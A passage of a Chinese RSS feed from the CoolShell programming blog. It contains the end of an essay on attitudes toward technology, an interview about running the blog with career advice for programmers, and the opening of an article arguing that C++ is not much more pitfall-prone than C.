highavailability之类的站点，9点上班。晚上6、7点钟下班，开始带孩子。十点钟孩子睡了觉，我会开始重新细读一下这一天都发生了些什么事情。这个时间也有可能会用来看书。学习的过程（我）是不喜欢被打断的，所以从十点到十二点，家人都睡了，这正是我连续学习的好时间。可能从晚上11:30开始，我会做点笔记或者写博客。我现在对酷壳文章的质量要求比较高一些，所以大概积累一个星期的时间才可以生成一篇文章。每天我大概都在一两点钟才会睡觉。没办法，我有技术焦虑症。但是觉得这样的生活很充实，也很踏实。</p>\n<p>另外，任何一门技术玩深了，都是很有意思的。有些人形成了一个价值取向，“我只做什么，绝不做什么”。前段时间有一个刚来亚马逊的工程师，他原来做的是数据挖掘推荐系统，原来的公司重组要让他做前端，他不肯就离职了，他说他不想做前端。我觉得，前端后端都是编程，Javascript是编程，C++也是编程。<strong>编程不在于你用什么语言去coding，而是你组织程序、设计软件的能力，只要你上升到脑力劳动上来，用什么都一样，技术无贵贱。</strong>你可以不喜欢那个技术，但是还是要了解了解，也没有必要完全不用，完全抛弃。Javascript啊——只要能被Javascript实现的，未来总有一天会被Javascript所取代。</p>\n<p>回到问题，怎么才能享受到快乐呢？</p>\n<ul>\n<li>第一，入世和出世要分开，不要让世俗的东西打扰到你的内心世界，你的情绪不应该为别人所控，也不应该被世俗所污染，活得真实，活得真实你才会快乐。</li>\n</ul>\n<ul>\n<li>第二，就是要有热情，有了热情，你的心情就会很好，加班都可以是快乐的，想一想我们整个通宵用来打游戏的时光，虽然很累，但是你也很开心，这都是因为有了热情的缘故。</li>\n</ul>\n<p>总之一句话——<strong>如果你没有兴趣，什么都是借口，如果你有兴趣了，什么都是好玩的</strong>。</p>\n<h4></h4>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8088.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>132</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>InfoQ的ArchSummit大会对我的采访</title>\n\t\t<link>https://coolshell.cn/articles/8031.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8031.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 12 Aug 2012 08:02:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Blog]]></category>\n\t\t<category><![CDATA[CoolShell.cn]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8031</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>偷个懒，做个更新，今天下午InfoQ的ArchSummit对我的一些采访。我整理了一下，算做是我个人写酷壳的一些想法和总结。不过问我的这些问题并不尖锐，呵呵，不...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8031.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p>偷个懒，做个更新，今天下午InfoQ的ArchSummit对我的一些采访。我整理了一下，算做是我个人写酷壳的一些想法和总结。不过问我的这些问题并不尖锐，呵呵，不像<a href=\"http://weibo.com/stonemama\" target=\"_blank\">@图灵谢工</a> 问我的问题：“你的价值观太过理想，根本不现实，你站在道德的高点拷问社会，是不是想炒作自己？”。</p>\n<p><strong>1) 作为酷壳的博主，请您大概介绍下酷壳是什么时候开始的，初衷是什么 ？</strong></p>\n<p>我写blog是从2002年开始（那时还没有blog这个词），当时对我来说，没有自己的电脑，上网很不方便，而我有写学习笔记的习惯，读书和工作中学到的一些东西需要保存在某个地方，我希望这个地方可以让我在任何地方都可以调出来看看（因为我当时的工作出差太多），正好当时的CSDN有个“专家专栏”的功能，也就是后来出现的blog。</p>\n<p>后来Blog出现后，CSDN把自己的“专家专栏”全部迁移到了blog.csdn.net上，07-08年这段时间，CSDN的blog基本上是不能使用，性能差得不能再差，每天宕机，上传图片，贴代码，都非常不好用。也许，这就是使用.NET/Windows平台的问题（开个玩笑）。</p>\n<p>我是从2009年3月开始创建酷壳的，创建的初衷如下：</p>\n<ul>\n<li>我需要一个更稳定，更方便的地方，我的博客的风格不会被大众的风格所掩盖的地方。</li>\n<li>我的从事新闻的老婆很不待见<a href=\"http://blog.csdn.net/haoel\" target=\"_blank\">我在CSDN的博客</a>，她觉得太技术，书呆子。</li>\n<li>我正好看到了煎蛋这个国外娱乐新闻文摘的blog，而我正好每天会有2个小时阅读国外社区的东西。</li>\n</ul>\n<p>基于上述三个原因，我自己花了4500元/年租了个主机，建了酷壳。所以，这也是你一开始看到酷壳基本上是娱乐性比较强的博客，我收集一些比较有意思的程序员中发生的事情，也收集一各式各样的程序员圈子里的各处观点。</p>\n<p>我当时的想法是，一些特别技术的东西，我会和CSDN同步，而一些轻松的话题，我会放在酷壳。我当时的初衷就是想说明程序员并不是一个木纳、书呆子、不食人间烟火、巨无趣的一个群体，程序员圈子里同样也有很多有趣的东西。所以，你可以看到11年初以前的东西我有很多网络恶搞式乱调侃的语言。</p>\n<p><span id=\"more-8031\"></span></p>\n<p>但到了2011年初让我开始让我有些转变，主要是读者越来越多，而且，有一些人已经把酷壳当成了一个提升自己能力和、开阔眼界、甚至需要指导的地方，我的压力就这样来了，这种压力让我开始不能太娱乐，因为有一些人是很认真地在看酷壳的文章，在期待能从酷壳获得有价值的东西……</p>\n<p><strong>2）技术人员的个人博客不胜其数，但真正可以吸引人眼球的并不多，能谈谈成功运营一个个人博客的精髓是什么？</strong></p>\n<p>哪有什么运营，完全是顺其自然，误打误撞。</p>\n<p>是的，技术人员的博客太多了，酷壳并不是技术最好的，也不是资讯最好的。淘宝的很多技术团队的博客都很不错，还有阮一峰的博客，还有各种各样的如CSDN，博客园，51CTO，ZDNET这样的社区。所以，我需要做点不一样的，而且我觉得还有一些这些社区和博客都还没有涉及的地方。</p>\n<p>对于社区最大的问题就是，他们就像我们学校里的学生一样，喜欢大量地收获聚集文章和知识，填鸭式的网站，网站的编辑不懂技术。对于一些技术博客的问题并不是他们不懂技术，而是太过技术，只有技术，少了一些程序员的文化，观点和视野。</p>\n<p>程序员是一个圈子，一个小社会，这个圈子里并不只有技术和知识，还有很多很多的东西，例如：程序员们都说自己比较辛苦，都说自己没有得到足够的尊重，还有一些如敏捷，流程，产品等地方程序员的观点没有得到表达，还有一些程序员这个社区内比较特有的东西，比如：编程语言之争，这本是一个很好的话题，是程序员圈子里的文化，但是每次讨论都是骂来骂去的，需要有人去引导程序员，带领他们用正确的价值观去看待和思考这些东西。</p>\n<p>这就是酷壳和其它博客和社区不一样的地方，我关注的并不只有技术，还有程序员的文化和想法，并且输出一些或偏执或鲜明或个人或激进的价值观，无论怎么样，你认同也好，不认同也可以，你可以看到酷壳和我还有酷壳里的讨论都是真实的。</p>\n<p><strong>3）根据你博客的自我介绍，想从纯底层技术方向转型为业务技术方向，让你产生这种想法的最大原因是什么？</strong></p>\n<p>纯底层做得太多了，有些书呆子了，与人打交道有问题了，而且觉得地底有点不识人间烟火了，我想知道用户是怎么用我们的产品的，我想知道用户是怎么想的，整天在那调网络性能，调系统性能，搞多线程，搞内存漏洞，整天在矿道里打洞， 想出来见见天日。呵呵。</p>\n<p>但这并不代码我觉得业务和用户要比技术有用得多，也并不是说技术无用论。</p>\n<p>我觉得这就好像一颗大树，这些底层的技术，可以让你站得非常非常稳，可以让你抵御洪灾和暴风，但是如果你想伸长得更高更广，你还是需要地面上的枝叶。我觉得我的底层知识够深入了，我需要了解业务知识和用户，因为我不但想站得稳，扎得深，我也想伸得高。</p>\n<p><strong>4）酷壳产出文章是怎么样的频率？每篇博文 ，你大概需要多少时间？</strong></p>\n<p>我每天都有阅读的习惯，尤其是阅读网文，每天两个小时，而且我是一个爱思考的人，思考的对不对不一定，但是我很喜欢去思考。现在又上了微博和一些朋友互动，也会引发我的一些思考，所以，文章就是在阅读、交流和思考中产生的。</p>\n<p>2011年初以前，平均每周3篇，有时候一周有10篇，现在基本上每周一篇。以前的文章花不了太多时间 ，因为比较娱乐，现在的文章很花时间，比如《程序员练级攻略》花了我四周的时间 ，《性能调优攻略》花了我三周多的时间，基本上来说，现在的文章至少也要花我1-2天的时间。我想把文章的数量降下来，这样，我可以思考得更好更透彻一些，这样文章里的营养更多一些。</p>\n<p><strong>5）是不是可以给年轻的朋友，或是风刚从事软件开发工作的朋友，一些职业发展的建议？</strong></p>\n<p>主要是下面几点：</p>\n<ul>\n<li>不要追新技术，应该多看看那些经历了很长时间的常青的技术。</li>\n</ul>\n<ul>\n<li>多研究一下历史，和技术的演进，这样你才能知道技术的未来。今天的很多东西都在过去有身影，如：今天的移动端和云端架构和以前的Unix和终端的关系，还有管道，和Unix设计的哲学也在今天Service Interface式的设计中有得到传承，等等。</li>\n</ul>\n<ul>\n<li>我可以急功近利以解决问题和追赶技术潮流，但是，如果你需要成为一个领域的专家，你需要非常非常注重基础。速成编程的方式只能让你成为劳动力，而不能成为工匠或技术和知识的驾驭者。</li>\n</ul>\n<ul>\n<li>不要被产商的文化所主导了，多看看社区的文化，尤其是Unix/C的文化，这是计算机文化的根（参看我写过的《<a title=\"Unix传奇(上篇)\" href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">Unix传奇</a>》）</li>\n</ul>\n<ul>\n<li>注重基础，广度是深度是副产品。</li>\n</ul>\n<p><strong>6）以你过往的经历，你是如何看待“架构师”这个角色的？他的义务是如何分配的？</strong></p>\n<p>架构就是Design一个部分，就是软件设计的一块，软件设计最重要的有两点：</p>\n<ul>\n<li>业务功能性需求分析和非功能性需求分析，</li>\n<li>技术基础的深刻认识，需要有非常丰富的经验。</li>\n</ul>\n<p>试问一下，程序员做软件不需要设计吗？做设计不需要设计架构吗？很自然的，今天的工程师，程序员已经在做架构设计上的事了。所以，我觉得架构设计这个工作本就是程序员（或者说是高级程序员）工作的一部分。</p>\n<p>但是，我个人认为架构师在某些情况下也还是需要的，但其应该是对业务和技术都很熟悉的人，并且偏技术，也要写代码的人。在一些公司，上下一盘棋，的确需要对总体架构设计，并保证这个框架能够被各个工程团队贯彻实现的那么一个团队，但他们应该更多地深入到一线工程团队的。</p>\n<p>所以，我觉得架构师就是一个高级程序员，而不是一个拍脑袋，关说不练的人。</p>\n<p>这点，看看Linux的架构师团队就知道了，一样的需要写代码，fix-bug，一样地需要了解各个公司对linux提出的各种各样的需求。</p>\n<p><strong>7）现阶段酷壳的文章，都是你一个人写的吗？是否有其他同仁加入写作？</strong></p>\n<p>并不都是我一个人写的，我希望酷壳是大家一起来写的，事实上也有一些人写，只是不多。只是我个人的色彩过重了一些，我的个性压制了众性。</p>\n<p>（不过，我真的无法自证都是我写的，我有没有团队，呵呵，管它有没有团队，是不是人代写，重要的是那些文章的内容是否对大家有帮助，或是对社区有贡献。；））</p>\n<p><strong>8）你对酷壳未来的构想是什么？还是一个技术交流的平台吗？</strong></p>\n<p>对于酷壳来说，其文化和价值观比较重一些，短期内，还是以我个人色彩为主一些，虽然我希望这是一个大家都能来分享的地方。前段时间我有个想法想做一个“程序员疫苗站”，就像我们一出生时接种的各种疫苗可以让我们抵抗各种病毒一样，这个网站可以让程序员接种一些犯低级错误的疫苗，从而对这些低级错误有抵抗。我还没有想得特别清楚，不过方向基本上是这个方面的。</p>\n<p>（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8031.html\">InfoQ的ArchSummit大会对我的采访</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8031.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>66</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++的坑真的多吗？</title>\n\t\t<link>https://coolshell.cn/articles/7992.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/7992.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 06 Aug 2012 00:12:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=7992</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>先说明一下，我不希望本文变成语言争论贴。希望下面的文章能让我们客观理性地了解C++这个语言。（另，我觉得技术争论不要停留在非黑即白的二元价值观上，这样争论无非就...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/7992.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>先说明一下，我不希望本文变成语言争论贴。希望下面的文章能让我们客观理性地了解C++这个语言。（另，我觉得技术争论不要停留在非黑即白的二元价值观上，这样争论无非就是比谁的嗓门大，比哪一方的观点强，毫无价值。我们应该多看看技术是怎么演进的，怎么取舍的。）</p>\n<h4>事由</h4>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-8014\" title=\"C Plus Plus\" src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small.jpg\" alt=\"\" width=\"300\" height=\"240\" />周五的时候，我在我的微博上发了一个贴说了一下一个网友给我发来的C++程序的规范和内存管理写的不是很好（后来我删除了，因为当事人要求），我并非批判，只是想说明其实程序员是需要一些“疫苗”的，并以此想开一个“程序员疫苗的网站”，结果，@简悦云风同学<a href=\"http://weibo.com/2388714105/yvqWKkcGV\">直接回复到</a>：“<strong>不要用 C++ 直接用 C , 就没那么多坑了。</strong>”就把这个事带入了语言之争。</p>\n<p>我又<a href=\"http://weibo.com/1401880315/yvrMMsCuT\" target=\"_blank\">发了一条微博</a>：</p>\n<p style=\"padding-left: 30px;\"><a title=\"左耳朵耗子\" href=\"http://weibo.com/1401880315/profile\">@左耳朵耗子</a> <a href=\"http://verified.weibo.com/verify\" target=\"_blank\"><img decoding=\"async\" title=\"新浪个人认证 \" src=\"http://img.t.sinajs.cn/t4/style/images/common/transparent.gif\" alt=\"新浪个人认证 \" /></a>： <span style=\"color: #800080;\">说C++比C的坑更多的人我可以理解，但理性地思考一下。C语言的坑也不少啊，如果说C语言有90个坑，那么C++就是100个坑（另，<strong>我看很多人都把C语言上的坑也归到了C++上来</strong>），但是C++你得到的东西更多，封装，多态，继承扩展，泛型编程，智能指针，……，你得到了500%东西，但却只多了10%的坑，多值啊</span>。</p>\n<p>结果引来了更多的回复（只节选了一些言论）：</p>\n<ul>\n<li>@淘宝褚霸<a href=\"http://weibo.com/1915508822/yvshunX41\">也在微博里说</a>：“<span style=\"color: #800080;\">自从5年前果断扔掉C++，改用了ansi c后，我的生活质量大大提升，没有各种坑坑我。</span>”</li>\n</ul>\n<ul>\n<li>@Laruence<a href=\"http://weibo.com/1170999921/yvsgisAgB\" target=\"_blank\">在其微博里</a>说: “<span style=\"color: #800080;\">我确实用不到, C语言灵活运用struct, 可以很好的满足这些需求.//@左耳朵耗子: 封装，继承，多态，模板，智能指针，这也用不到？这也学院派？//@Laruence: 问题是, 这些东西我都用不到&#8230; C语言是工程师搞的, C++是学院派搞的</span>”</li>\n</ul>\n<p><strong>那么，C++的坑真的多么？我还请大家理性地思考一下</strong>。</p>\n<p><span id=\"more-7992\"></span></p>\n<div>\n<h4>C++真的比C差吗？</h4>\n<p>我们先来看一个图——《<a href=\"https://coolshell.cn/articles/1850.html\" target=\"_blank\">各种程序员的嘴脏的对比</a>》，从这个图上看，C程序员比C++的程序员在注释中使用fuck的字眼多一倍。这说明了什么？<strong>我个人觉得这说明C程序员没有C++程序员淡定</strong>。</p>\n</div>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"Google Code 中程序语言出现 fuck 一词的比率\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/programming_language.jpg\" alt=\"Google Code 中程序语言出现 fuck 一词的比率\" width=\"543\" height=\"303\" /></p>\n<p>不要太纠结上图，只是轻松一下，我没那么无聊，让我们来看点真正的论据。</p>\n<p>相信用过C++的程序员知道，C++的很多特性主要就是解决C语言中的各种不完美和缺陷：（注：<strong>C89、C99中许多的改进正是从C++中所引进的</strong>）</p>\n<ul>\n<li>用namespace解决了很C函数重名的问题。</li>\n</ul>\n<ul>\n<li>用const/inline/template代替了宏，解决了C语言中宏的各种坑。</li>\n</ul>\n<ul>\n<li>用const的类型解决了很多C语言中变量值莫名改变的问题。</li>\n</ul>\n<ul>\n<li>用引用代替指针，解决了C语言中指针的各种坑。这个在Java里得到彻底地体现。</li>\n</ul>\n<ul>\n<li>用强类型检查和四种转型，解决了C语言中乱转型的各种坑。</li>\n</ul>\n<ul>\n<li>用封装（构造，析构，拷贝构造，赋值重载）解决了C语言中各种复制一个结构体（struct）或是一个数据结构（link, hashtable, list, array等）中浅拷贝的内存问题的各种坑。</li>\n</ul>\n<ul>\n<li>用封装让你可以在成员变量加入getter/setter，而不会像C一样只有文件级的封装。</li>\n</ul>\n<ul>\n<li>用函数重载、函数默认参数，解决了C中扩展一个函数搞出来像func2()之类的ugly的东西。</li>\n</ul>\n<ul>\n<li>用继承多态和RTTI解决了C中乱转struct指针和使用函数指针的诸多让代码ugly的问题。</li>\n</ul>\n<ul>\n<li>用RAII，智能指针的方式，解决了C语言中因为出现需要释放资源的那些非常ugly的代码的问题。</li>\n</ul>\n<ul>\n<li>用OO和GP解决各种C语言中用函数指针，对指针乱转型，及一大砣if-else搞出来的ugly的泛型。</li>\n</ul>\n<ul>\n<li>用STL解决了C语言中算法和数据结构的N多种坑。</li>\n</ul>\n<div>（注意：上面我没有提重载运算符和异常，前者写出来的代码并不易读和易维护（参看《<a title=\"恐怖的C++语言\" href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">恐怖的C++语言</a>》后面的那个示例），坑也多，后者并不成熟（相对于Java的异常），但是我们需要知道try-catch这种方式比传统的不断地判断函数返回值和errno形成的大量的if-else在代码可读性上要好很多）</div>\n<p>上述的这些东西填了不知有多少的C语言编程和维护的坑。<strong>少用指针，多用引用，试试autoptr，用用封装，继承，多态和函数重载…… 你面对的坑只会比C少，不会多。</strong></p>\n<h4>C++的坑有多少？</h4>\n<p>C++的坑真的不多，如果你能花两到三周的时候读一下《<a href=\"http://book.douban.com/subject/1231590/\" target=\"_blank\">Effecitve C++</a>》里的那50多个条款，你就知道C++里的坑并不多，而且，有很多条款告诉我们C++是怎么解决C的坑的。然后，你可以读读《<a href=\"http://book.douban.com/subject/1967356/\" target=\"_blank\">Exceptional C++</a>》和《<a href=\"http://book.douban.com/subject/1244943/\" target=\"_blank\">More Exceptional C++</a>》，你可以了解一下C++各种问题的解决方法和一些常见的经典错误。</p>\n<p>当然，C++在解决了很多C语的坑的同时，也因为OO和泛型又引入了一些坑。消一些，加一些，我个人感觉上总体上只比C多10%左右吧。但是你有了开发速度更快，代码更易读，更易维护的500%的利益。</p>\n<p>另外，不可否认的是，C++中的代码出了错误，有时候很难搞，而且似乎用C++的人会觉得C++更容易出错？我觉得主要是下面几个原因：</p>\n<ul>\n<li><strong>C和C++都没学好，大多数人用C++写C，所以，C的坑和C++的坑合并了。</strong></li>\n</ul>\n<ul>\n<li><strong><strong>C++太灵活了，想怎么搞就怎么搞，所以，各种不经意地滥用和乱搞。</strong></strong></li>\n</ul>\n<p>另外，C++的编译对标准C++的实现各异，支持地也千差万别，所以会有一些比较奇怪的问题，但是如果你一般用用C++的封装，继承，多态，以及namespace，const, refernece,  inline, templete, overloap, autoptr，还有一些OO 模式，并不会出现奇怪的问题。</p>\n<p>而对于STL中的各种坑，我觉得是程序员们还对GP（泛型编程）理解得还不够，STL是泛型编程的顶级实践！属于是大师级的作品，一般人很难理解。必需承认STL写出来的代码和编译错误的确相当复杂晦涩，太难懂了。这也是C++的一个诟病。</p>\n<p>这和<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">Linus说的一样</a> —— “<strong>C++是一门很恐怖的语言，而比它更恐怖的是<span style=\"color: #cc0000;\">很多不合格的程序员</span>在使用着它</strong>”。注意我飘红了“<span style=\"color: #cc0000;\"><strong>很多不合格的程序员</strong></span>”！</p>\n<p>我觉得C++并不适合初级程序员使用，C++只适合高级程序员使用（参看《<a title=\"“21天教你学会C++”\" href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\">21天学好C++</a>》和《<a title=\"C++ 程序员自信心曲线图\" href=\"https://coolshell.cn/articles/2287.html\" target=\"_blank\">C++学习自信心曲线</a>》），正如《<a title=\"Why C++ ? 王者归来\" href=\"https://coolshell.cn/articles/6548.html\" target=\"_blank\">Why C++</a>》中说的，C++适合那些对开发维护效率和系统性能同时关注的高级程序员使用。</p>\n<p><strong>这就好像飞机一样，开飞机很难，开飞机要注意的东西太多太多，对驾驶员的要求很高，但你不能说飞机这个工具很烂，开飞机的坑太多。</strong>（注：我这里并不是说C++是飞机，C是汽车，C++和C的差距，比飞机到汽车的差距少太多太多，这里主要是类比，我们对待C++语言的心态！）</p>\n<h4>C++的初衷</h4>\n<p>理解C++设计的最佳读本是《<a href=\"http://book.douban.com/subject/1096216/\" target=\"_blank\">C++演化和设计</a>》，在这本书中Stroustrup说了些事：</p>\n<p style=\"padding-left: 30px;\">1）Stroustrup对C是非常欣赏，<strong>实际上早期C++许多的工作是对于C的强化和净化</strong>，并把完全兼容C作为强制性要求。C89、C99中许多的改进正是从C++中所引进。可见，Stroustrup对C语言的贡献非常之大。<strong>今天不管你对C++怎么看，C++的确扩展和进化了C，对C造成了深远的影响</strong>。</p>\n<p style=\"padding-left: 30px;\">2）Stroustrup对于C的抱怨主要来源于两个方面——在C++兼容C的过程中遇到了不少设计实现上的麻烦；以及守旧的K&amp;R C程序员对Stroustrup的批评。<strong>很多人说C++的恶梦就是要去兼容于C，这并不无道理（</strong>Java就干的比C++彻底得多<strong>）</strong>，但这并不是Stroustrup考虑的，Stroustrup一边在使尽浑身解数来兼容C，另一方面在拼命地优化C。</p>\n<p style=\"padding-left: 30px;\">3）Stroustrup在书中直接说，C++最大的竞争对手正是C，他的目的就是——<strong>C能做到的，C++也必须做到，而且要做的更好</strong>。大家觉得是不是做到了？有多少做到了，有多少还没有做到？</p>\n<p style=\"padding-left: 